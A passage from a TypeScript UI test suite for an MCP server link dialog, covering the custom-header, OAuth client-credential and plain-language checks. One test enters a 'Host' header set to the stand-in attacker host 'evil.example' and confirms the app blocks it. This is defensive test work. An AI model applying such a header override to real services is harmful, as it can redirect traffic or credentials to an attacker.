await act(async () => {
|
||
buttonByText("Custom headers")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const nameInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.getAttribute("aria-label") === "Header name")!;
|
||
await act(async () => setInputValue(nameInput, "Host"));
|
||
await flushReact();
|
||
const valueInput = Array.from(container.querySelectorAll<HTMLInputElement>("input"))
|
||
.find((input) => input.type === "password")!;
|
||
await act(async () => setInputValue(valueInput, "evil.example"));
|
||
await flushReact();
|
||
|
||
expect(container.textContent).toContain('Paperclip manages the "Host" header');
|
||
expect(buttonByText("Check link")?.disabled).toBe(true);
|
||
expect(connectAppMock).not.toHaveBeenCalled();
|
||
});
|
||
|
||
it("sends preregistered client credentials when the operator supplies them", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
await act(async () => {
|
||
buttonByText("Browser sign-in")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const clientIdInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-id")!;
|
||
await act(async () => setInputValue(clientIdInput, "operator-client"));
|
||
await flushReact();
|
||
const clientSecretInput = container.querySelector<HTMLInputElement>("#generic-mcp-client-secret")!;
|
||
await act(async () => setInputValue(clientSecretInput, "operator-secret"));
|
||
await flushReact();
|
||
|
||
await act(async () => {
|
||
buttonByText("Check link")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
|
||
});
|
||
await flushReact();
|
||
|
||
const [, input] = connectAppMock.mock.calls[0];
|
||
expect(input).toMatchObject({
|
||
authMode: "oauth",
|
||
oauthClient: { clientId: "operator-client", clientSecret: "operator-secret" },
|
||
});
|
||
});
|
||
|
||
it("keeps protocol jargon off the consumer path", async () => {
|
||
await render();
|
||
await gotoLinkFrame(container, "https://mcp.example.test/mcp");
|
||
await openAdvanced();
|
||
|
||
for (const jargon of ["DCR", "Dynamic Client Registration", "CIMD", "Client ID Metadata", "RFC", "PKCE"]) {
|
||
expect(container.textContent, jargon).not.toContain(jargon);
|
||
}
|
||
});
|
||
});
|